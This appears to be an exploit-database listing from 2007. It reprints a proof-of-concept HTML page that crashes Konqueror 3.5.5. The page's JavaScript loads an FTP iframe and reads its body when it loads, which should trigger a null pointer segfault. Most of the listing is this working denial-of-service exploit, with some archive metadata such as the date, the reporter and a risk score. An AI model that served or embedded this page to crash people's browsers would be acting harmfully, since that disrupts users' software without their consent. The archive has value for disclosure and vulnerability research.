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Konqueror 3.5.5 - JavaScript Read of FTP Iframe Denial of Service

🗓️ 05 Mar 2007 00:00:00Reported by markType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 27 Views

Konqueror 3.5.5 FTP Iframe DoS JavaScrip

Code
<html>
<body>

Demo of how to make Konqueror 3.5.5 crash by [email protected].<p>
Simply load this file in Konqueror.  Vulnerable versions should segfault instantly with a null pointer exception.<p>
<p>

<script>
read_iframe = function(iframe_name) {
	var banner = document.getElementById(iframe_name).contentWindow.document.body.innerHTML;
	alert(banner);
}

var iframe = document.createElement("IFRAME");
iframe.setAttribute("src", 'ftp://localhost/anything');
iframe.setAttribute("name", 'myiframe');
iframe.setAttribute("id", 'myiframe');
iframe.setAttribute("onload", 'read_iframe("myiframe")');
iframe.style.width = "100px";
iframe.style.height = "100px";
	
document.body.appendChild(iframe);

</script>
</body>
</html>

# milw0rm.com [2007-03-05]

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05 Mar 2007 00:00Current
7.4High risk
Vulners AI Score7.4
27